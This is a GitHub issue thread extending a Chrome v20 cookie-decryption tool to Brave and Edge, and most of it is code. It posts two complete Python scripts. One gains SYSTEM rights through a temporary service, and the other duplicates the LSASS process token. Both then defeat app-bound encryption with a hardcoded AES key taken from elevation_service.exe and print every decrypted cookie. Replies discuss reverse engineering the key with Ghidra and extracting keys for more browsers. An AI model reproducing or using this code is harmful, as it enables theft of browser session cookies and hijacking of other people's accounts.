-
Notifications
You must be signed in to change notification settings - Fork 9
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add support for Brave and Edge #7
Comments
Added support for Brave and Edge import os
import json
import sys
import binascii
from pypsexec.client import Client
from Crypto.Cipher import AES
import sqlite3
import pathlib
BROWSER = "brave" # edge, brave, chrome
LOCAL_APP_DATA = os.environ['LOCALAPPDATA']
BROWSERS = {
"chrome": {
"aes_key": "sxxuJBrIRnKNqcH6xJNmUc/7lE0UOrgWJ2vMbaAoR4c=",
"decrypted_key_start_index": -61,
"key_path": rf"{LOCAL_APP_DATA}\Google\Chrome\User Data\Local State",
"db_path": rf"{LOCAL_APP_DATA}\Google\Chrome\User Data\Default\Network\Cookies",
},
"edge": {
"aes_key": "",
"key_path": rf"{LOCAL_APP_DATA}\Microsoft\Edge\User Data\Local State",
"db_path": rf"{LOCAL_APP_DATA}\Microsoft\Edge\User Data\Default\Network\Cookies",
},
"brave": {
"aes_key": "",
"key_path": rf"{LOCAL_APP_DATA}\BraveSoftware\Brave-Browser\User Data\Local State",
"db_path": rf"{LOCAL_APP_DATA}\BraveSoftware\Brave-Browser\User Data\Default\Network\Cookies",
}
}
browser = BROWSERS[BROWSER]
key_path = browser['key_path']
db_path = browser['db_path']
with open(key_path, "r") as f:
local_state = json.load(f)
app_bound_encrypted_key = local_state["os_crypt"]["app_bound_encrypted_key"]
arguments = "-c \"" + """import win32crypt
import binascii
encrypted_key = win32crypt.CryptUnprotectData(binascii.a2b_base64('{}'), None, None, None, 0)
print(binascii.b2a_base64(encrypted_key[1]).decode())
""".replace("\n", ";") + "\""
c = Client("localhost")
c.connect()
try:
c.create_service()
assert(binascii.a2b_base64(app_bound_encrypted_key)[:4] == b"APPB")
app_bound_encrypted_key_b64 = binascii.b2a_base64(
binascii.a2b_base64(app_bound_encrypted_key)[4:]).decode().strip()
# decrypt with SYSTEM DPAPI
encrypted_key_b64, stderr, rc = c.run_executable(
sys.executable,
arguments=arguments.format(app_bound_encrypted_key_b64),
use_system_account=True
)
# decrypt with user DPAPI
decrypted_key_b64, stderr, rc = c.run_executable(
sys.executable,
arguments=arguments.format(encrypted_key_b64.decode().strip()),
use_system_account=False
)
decrypted_key = binascii.a2b_base64(decrypted_key_b64)
finally:
c.remove_service()
c.disconnect()
if browser['aes_key']:
decrypted_key = decrypted_key[browser['decrypted_key_start_index']:]
assert(decrypted_key[0] == 1)
# decrypt key with AES256GCM
# aes key from elevation_service.exe
aes_key = binascii.a2b_base64("sxxuJBrIRnKNqcH6xJNmUc/7lE0UOrgWJ2vMbaAoR4c=")
# [flag|iv|ciphertext|tag] decrypted_key
# [1byte|12bytes|variable|16bytes]
iv = decrypted_key[1:1+12]
ciphertext = decrypted_key[1+12:1+12+32]
tag = decrypted_key[1+12+32:]
cipher = AES.new(aes_key, AES.MODE_GCM, nonce=iv)
key = cipher.decrypt_and_verify(ciphertext, tag)
else:
key = decrypted_key[-32:]
print(binascii.b2a_base64(key))
# fetch all v20 cookies
con = sqlite3.connect(pathlib.Path(db_path).as_uri() + "?mode=ro", uri=True)
cur = con.cursor()
r = cur.execute("SELECT host_key, name, CAST(encrypted_value AS BLOB) from cookies;")
cookies = cur.fetchall()
cookies_v20 = [c for c in cookies if c[2][:3] == b"v20"]
con.close()
# decrypt v20 cookie with AES256GCM
# [flag|iv|ciphertext|tag] encrypted_value
# [3bytes|12bytes|variable|16bytes]
def decrypt_cookie_v20(encrypted_value):
cookie_iv = encrypted_value[3:3+12]
encrypted_cookie = encrypted_value[3+12:-16]
cookie_tag = encrypted_value[-16:]
cookie_cipher = AES.new(key, AES.MODE_GCM, nonce=cookie_iv)
decrypted_cookie = cookie_cipher.decrypt_and_verify(encrypted_cookie, cookie_tag)
return decrypted_cookie[32:].decode('utf-8')
for c in cookies_v20:
print(c[0], c[1], decrypt_cookie_v20(c[2])) |
Thanks, I'll look into it later |
Another version without need to create service, using Windows API. main.py"""
pip install pywin32 pycryptodome
python main.py
"""
import ctypes, win32api, win32con, win32security, win32crypt, win32process
from ctypes import wintypes
import os, json, binascii, sqlite3, pathlib
from Crypto.Cipher import AES
class Impersonator:
"""
Enables impersonation of the Local System account by obtaining necessary privileges, opening the LSASS process, and duplicating the system token.
The start method starts impersonation, and close ends it, releasing resources.
"""
def __init__(self):
self.lsass_handle = None
self.duplicated_token = None
def _enable_privilege(self):
privilege = 20 # SE_DEBUG_PRIVILEGE
previous_value = wintypes.BOOL()
ret = ctypes.windll.ntdll.RtlAdjustPrivilege(privilege, True, False, ctypes.byref(previous_value))
if ret != 0:
raise OSError(f"RtlAdjustPrivilege failed with status: {ret:x}")
def _get_lsass_handle(self):
processes = win32process.EnumProcesses()
for pid in processes:
try:
handle = win32api.OpenProcess(win32con.PROCESS_QUERY_INFORMATION, False, pid)
except:
continue
executable_name = win32process.GetModuleFileNameEx(handle, 0).lower()
if "lsass.exe" in executable_name:
self.lsass_handle = handle
return
win32api.CloseHandle(handle)
raise OSError('lsass.exe process not found!')
def _get_system_token(self):
token_handle = win32security.OpenProcessToken(self.lsass_handle, win32con.TOKEN_DUPLICATE | win32con.TOKEN_QUERY)
duplicated_token = wintypes.HANDLE()
duplicated_token = win32security.DuplicateToken(token_handle, win32security.SecurityImpersonation)
win32api.CloseHandle(token_handle)
return duplicated_token
def start(self):
self._enable_privilege()
self._get_lsass_handle()
self.duplicated_token = self._get_system_token()
win32security.ImpersonateLoggedOnUser(self.duplicated_token)
def close(self):
win32api.CloseHandle(self.duplicated_token)
win32api.CloseHandle(self.lsass_handle)
win32security.RevertToSelf()
BROWSER = "chrome" # edge, brave, chrome
LOCAL_APP_DATA = os.environ['LOCALAPPDATA']
BROWSERS = {
"chrome": {
"aes_key": "sxxuJBrIRnKNqcH6xJNmUc/7lE0UOrgWJ2vMbaAoR4c=",
"decrypted_key_start_index": -61,
"key_path": rf"{LOCAL_APP_DATA}\Google\Chrome\User Data\Local State",
"db_path": rf"{LOCAL_APP_DATA}\Google\Chrome\User Data\Default\Network\Cookies",
},
"edge": {
"aes_key": "",
"key_path": rf"{LOCAL_APP_DATA}\Microsoft\Edge\User Data\Local State",
"db_path": rf"{LOCAL_APP_DATA}\Microsoft\Edge\User Data\Default\Network\Cookies",
},
"brave": {
"aes_key": "",
"key_path": rf"{LOCAL_APP_DATA}\BraveSoftware\Brave-Browser\User Data\Local State",
"db_path": rf"{LOCAL_APP_DATA}\BraveSoftware\Brave-Browser\User Data\Default\Network\Cookies",
}
}
browser = BROWSERS[BROWSER]
key_path = browser['key_path']
db_path = browser['db_path']
with open(key_path, "r") as f:
local_state = json.load(f)
app_bound_encrypted_key = local_state["os_crypt"]["app_bound_encrypted_key"]
arguments = "-c \"" + """import win32crypt
import binascii
encrypted_key = win32crypt.CryptUnprotectData(binascii.a2b_base64('{}'), None, None, None, 0)
print(binascii.b2a_base64(encrypted_key[1]).decode())
""".replace("\n", ";") + "\""
assert(binascii.a2b_base64(app_bound_encrypted_key)[:4] == b"APPB")
app_bound_encrypted_key = binascii.a2b_base64(app_bound_encrypted_key)[4:]
# decrypt with SYSTEM DPAPI
impersonator = Impersonator()
impersonator.start()
encrypted_key = win32crypt.CryptUnprotectData(app_bound_encrypted_key, None, None, None, 0)[1]
impersonator.close()
# decrypt with user DPAPI
decrypted_key = win32crypt.CryptUnprotectData(encrypted_key, None, None, None, 0)[1]
if browser['aes_key']:
decrypted_key = decrypted_key[browser['decrypted_key_start_index']:]
assert(decrypted_key[0] == 1)
# decrypt key with AES256GCM
# aes key from elevation_service.exe
aes_key = binascii.a2b_base64("sxxuJBrIRnKNqcH6xJNmUc/7lE0UOrgWJ2vMbaAoR4c=")
# [flag|iv|ciphertext|tag] decrypted_key
# [1byte|12bytes|variable|16bytes]
iv = decrypted_key[1:1+12]
ciphertext = decrypted_key[1+12:1+12+32]
tag = decrypted_key[1+12+32:]
cipher = AES.new(aes_key, AES.MODE_GCM, nonce=iv)
key = cipher.decrypt_and_verify(ciphertext, tag)
else:
key = decrypted_key[-32:]
print(binascii.b2a_base64(key))
# fetch all v20 cookies
con = sqlite3.connect(pathlib.Path(db_path).as_uri() + "?mode=ro", uri=True)
cur = con.cursor()
r = cur.execute("SELECT host_key, name, CAST(encrypted_value AS BLOB) from cookies;")
cookies = cur.fetchall()
cookies_v20 = [c for c in cookies if c[2][:3] == b"v20"]
con.close()
# decrypt v20 cookie with AES256GCM
# [flag|iv|ciphertext|tag] encrypted_value
# [3bytes|12bytes|variable|16bytes]
def decrypt_cookie_v20(encrypted_value):
cookie_iv = encrypted_value[3:3+12]
encrypted_cookie = encrypted_value[3+12:-16]
cookie_tag = encrypted_value[-16:]
cookie_cipher = AES.new(key, AES.MODE_GCM, nonce=cookie_iv)
decrypted_cookie = cookie_cipher.decrypt_and_verify(encrypted_cookie, cookie_tag)
return decrypted_cookie[32:].decode('utf-8')
for c in cookies_v20:
print(c[0], c[1], decrypt_cookie_v20(c[2])) |
what method was used to get the original hardcoded key for aes decryption with chrome? ("sxxuJBrIRnKNqcH6xJNmUc/7lE0UOrgWJ2vMbaAoR4c=") |
I'd love to hear how you found the hardcoded string or identified the need to switch from SYSTEM to USER with DPAPI. Did you rely solely on static analysis, or did you also debug it at runtime? If so, how did you manage to debug the subprocesses? If you're unable to share specifics, any related info or even intriguing challenges to help me learn more in this direction would be fantastic. Thanks! |
In the Chromium source code, you'll find
The AES decryption step is part of the internal code, so reverse engineering of the release binary file is required.
After understanding the code above, I used Ghidra to locate the |
@runassu I was able to find PostProcessData function but couldn't find a way to extract any value. |
hey thanks for the info, i really like to get more advanced in programming as i already am kinda good with python but i have no idea if it worths it if i follow it or what should i expect when i reach your level. |
Now we will try to sniff Edge and Yandex Browser for get elevation_keys |
Brave
Edge
Errors:
When I remove assertion
MAC check failed
I think the only things we need is the hardcoded key from
elevation_service.exe
and correct the index of the AES keychrome_v20_decryption/decrypt_chrome_v20_cookie.py
Line 49 in 0d7b40e
chrome_v20_decryption/decrypt_chrome_v20_cookie.py
Line 58 in 0d7b40e
The text was updated successfully, but these errors were encountered: